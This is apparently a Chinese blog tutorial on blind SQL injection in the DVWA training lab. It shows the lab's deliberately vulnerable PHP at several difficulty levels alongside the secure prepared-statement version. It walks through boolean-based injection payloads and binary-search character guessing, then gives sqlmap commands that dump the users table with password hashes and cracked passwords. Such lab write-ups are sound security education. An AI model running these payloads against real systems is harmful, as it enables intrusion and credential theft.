DVWA 黑客攻防演练(九) SQL 盲注 SQL Injection (Blind)

上一篇文章谈及了 dvwa 中的SQL注入攻击,而这篇和上一篇内容很像,都是关于SQL注入攻击。和上一篇相比,上一篇的注入成功就马上得到所有用户的信息,这部分页面上不会返回一些很明显的信息供你调试,就连是否注入成功也要自己判断的,因此叫盲注。更值得留意的是盲注的思路


(盲注就让我想起了。。。许昕,中国乒乓球国手+人民艺术家。然而他400°近视,日常带眼镜,打球反而不带,球感远超常人, 人称大蟒世界第一盲打

要盲注的页面往往是这样的

没有很具体的错误提示,只会提示用户存在还是不存在
所以有时候攻击会不知道注入成功与否,所以攻击者有时会通过一些延时操作去判断注入是否成功,比如 如果数据库用的是 MySQL,会用 BENCHMARK 或者 SLEEP 函数。 这篇也和上一章一样的,先介绍漏洞的注入点再介绍一些注入的思路

低级

界面就是上面那图,代码也和上一篇章的几乎是一样的,输出只会是用户存在还是不存在。

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    mysql_close();
}

?>

它这里也没有做什么处理的。随便注入都行的。

  • boolean 型,输入 1' or '1' = '1
  • 注释型, 1' or 1=1 #
  • union 型,比如输入 ' UNION ALL SELECT NULL, database()#

但这样的不知道有什么作用。若想知道如何利用这样的注入点,你可以直接拉到最后看注入的流程

中级

中级就是变成下拉选择了,所以要用 burp suite,或者火狐浏览器去改。比如用火狐浏览器。

而代码中有 mysql_real_escape_string 对特殊字符等进行转义,所以就用不了 ‘ 或 ” 之类的符号,不过它这里的代码 $id 是数字,也需要用 ‘ 符号。

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
}

下面展示用火狐的审查元素注入吧。这里明显可以用1 or 1=1注入的,将 form 表单改成这样即可。

 

高级

 

高级主要是和上面的主要区别是通过迷之cookies 传参,还有个LIMIT 1 限制了条数,再有一个就是查询失败的时候会随机 sleep。

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    mysql_close();
}

?>

和上一篇文章一样,用注释就能解决LIMIT 1的问题了。所以这样就可以了。

 

不可能

不可能级别和上一篇类似

  • anti-token 机制防 CSRF 攻击
  • 检查 id 是不是数字
  • 使用 prepare 预编译再绑定变量a
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
    // Get input
    $id = $_GET[ 'id' ];
    
    // Was a number entered?
    if(is_numeric( $id )) {
    // Check the database
    $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
    $data->bindParam( ':id', $id, PDO::PARAM_INT );
    $data->execute();
    
    // Get results
    if( $data->rowCount() == 1 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
    
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}
    
// Generate Anti-CSRF token
generateSessionToken();
    
?>

注入的流程

一般注入的流程可能会是这样,概括起来可能就是刘欢的《千万次地问》,这里用低级代码尝试。

数据库的名字

这种页面要知晓数据库的名字也是挺麻烦,要不断地去尝试。

猜数据库名的长度

1′ and length(database()) = 2 #
1′ and length(database()) = 3 #
1′ and length(database()) = 4 #

用二分法猜数据库的名字

其中 a是97,z是122

第一个字母在 a 到 m 之间吗?

输入 1' and ascii(substr(database(),1,1))>=97 and ascii(substr(database(),1,1)) <= 109 #

第一个字母在 a 到 g 之间吗?

1' and ascii(substr(database(),1,1))>=97 and ascii(substr(database(),1,1)) <= 103 #

第一个字母在 a 到 d 之间吗?

。。。

第一个字母是d吗?

1' and ascii(substr(database(),1,1))=100 #

是的

第二个字母在 a 到 m 之间吗?

1' and ascii(substr(database(),2,1))>=97 and ascii(substr(database(),1,1)) <= 109 #

不对 …

一堆这样的操作你就知道数据库的名字是 dvwa 了。。。

所有表的名字

表的数量

数据库有一个表吗?

1' and (select count(table\_name) from information\_schema.tables where table_schema=database())=1 #

不对

数据库有两个表吗?

1' and (select count (table\_name) from information\_schema.tables where table_schema=database())=2

对的,差点就三个(代)表了

第n个表的名长度

第1个表的名长度是1吗?

1' and length(substr((select table\_name from information\_schema.tables where table_schema=database() limit 0,1),1))=1 #

第1个表的名长度是2吗?

1' and length(substr((select table\_name from information\_schema.tables where table_schema=database() limit 0,1),1))=2 #

… 结果第一个表的长度是 9 。

第n个表的名字

再用二分法去找,要考虑有 _ 之类的特殊符号。。。

第一个表的第一个字母在 a~m 之间吗?

1' and ascii(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1,1))>=97 and  ascii(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1,1))<=109 #

。。。 最后可以得出 两个表的名字叫 guestbook,users。

## 表字段名

针对 users表来说

表字段的数量

users 表有1个字段吗?

1' and (select count(column\_name) from information\_schema.columns where table_name= 'users')=1 #

结果有 8个字段

第n个字段的长度

users 表第1个字段的长度是 1 吗?

1' and length(substr((select column\_name from information\_schema.columns where table_name= 'users' limit 0,1),1))=1 #

… 第一个字段的长度是 7

第n个字段的名字

第一个字段名字是 user_id 吗?

1' and substr((select column\_name from information\_schema.columns where table\_name= 'users' limit 0,1),1)='user\_id'

猜中了。。

第二个字段的第一个字母在 a~m 之间吗?

1' and ascii(substr((select column\_name from information\_schema.columns where table\_name= 'users' limit 0,1),1,1)) >= 97 and ascii(substr((select column\_name from information\_schema.columns where table\_name= 'users' limit 0,1),1,1)) <=109 #


结果是 a

# 猜数据

用户 admin 存在吗?

1' and (select count(*) from users where user = 'admin') = 1 #

admin 密码的第一位在 a~m 之间吗?

1' and ascii(substr((select password from users where user = 'admin' limit 1),1,1)) >= 97 and ascii(substr((select password from users where user = 'admin' limit 1),1,1)) <= 109 #

SQLMap

千万次地问,弄得人很烦的。还是用工具方便好,感谢自动化,感谢程序员。与上一篇文章类似。

获取所有的数据库

sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" --dbs

available databases [4]:
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema

而我们比较感兴趣的是,dvwa 数据库。接下来想后去它的所有的表

获取 dvwa 所有的表

sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" -D dvwa --tables

Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+

获取users表的所有字段

这里比较慢可以用多线程加速 sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" -D dvwa -T users --column --threads 10

Database: dvwa
Table: users
[8 columns]
+--------------+-------------+
| Column       | Type        |
+--------------+-------------+
| user         | varchar(15) |
| avatar       | varchar(70) |
| failed_login | int(3)      |
| first_name   | varchar(15) |
| last_login   | timestamp   |
| last_name    | varchar(15) |
| password     | varchar(32) |
| user_id      | int(6)      |
+--------------+-------------+

获取用户及密码信息

比如是 user 和 password sqlmap -u "http://192.168.31.166:5678/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=8j4rbfgrvn00jg1fbo0t27k4t5; security=low" -D dvwa -T users -C user,password --dump --threads 10而且还问你是否要用密码字典爆破,简直优秀,结果如下。

Database: dvwa

Table: users
[5 entries]
+---------+---------------------------------------------+
| user    | password                                    |
+---------+---------------------------------------------+
| 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  |
| admin   | e10adc3949ba59abbe56e057f20f883e (123456)   |
| gordonb | e99a18c428cb38d5f260853678922e03 (abc123)   |
| pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  |
| smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+---------+---------------------------------------------+